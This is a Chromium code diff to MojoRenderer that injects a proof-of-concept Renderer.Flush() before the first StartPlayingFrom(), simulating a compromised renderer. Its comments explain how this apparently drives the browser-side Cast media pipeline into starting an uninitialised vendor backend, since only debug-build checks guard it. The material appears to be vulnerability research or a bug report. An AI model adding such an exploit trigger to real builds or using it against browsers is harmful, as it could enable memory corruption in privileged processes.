diff --git a/media/mojo/clients/mojo_renderer.cc b/media/mojo/clients/mojo_renderer.cc
index 847a920ff4763f..14a8392f5a46b8 100644
--- a/media/mojo/clients/mojo_renderer.cc
+++ b/media/mojo/clients/mojo_renderer.cc
@@ -164,6 +164,29 @@ void MojoRenderer::StartPlayingFrom(base::TimeDelta time) {
     media_time_interpolator_.StartInterpolating();
   }
 
+  // ==========================================================================
+  // POC INJECTION (compromised-renderer simulation):
+  // Send Renderer.Flush() to the browser-process MojoRendererService /
+  // CastRenderer / MediaPipelineImpl *before* the first StartPlayingFrom().
+  // At this point MediaPipelineImpl::backend_state_ is still
+  // BACKEND_STATE_UNINITIALIZED. The browser-side Flush() proceeds (only
+  // DCHECK guards exist, stripped in release), OnFlushDone() calls
+  // CmaBackend::Stop() on a never-Initialize()d vendor backend and forces
+  // backend_state_ = BACKEND_STATE_INITIALIZED, so the StartPlayingFrom()
+  // immediately below skips the lazy backend->Initialize() and calls
+  // backend->Start() directly.
+  //
+  // Mojo message ordering guarantees the Flush is processed before
+  // StartPlayingFrom on the service side.
+  // ==========================================================================
+  static bool s_poc_injected_flush = false;
+  if (!s_poc_injected_flush) {
+    s_poc_injected_flush = true;
+    LOG(ERROR) << "[POC] Injecting Renderer.Flush() before first "
+                  "StartPlayingFrom() (compromised-renderer simulation)";
+    remote_renderer_->Flush(base::DoNothing());
+  }
+
   remote_renderer_->StartPlayingFrom(time);
 }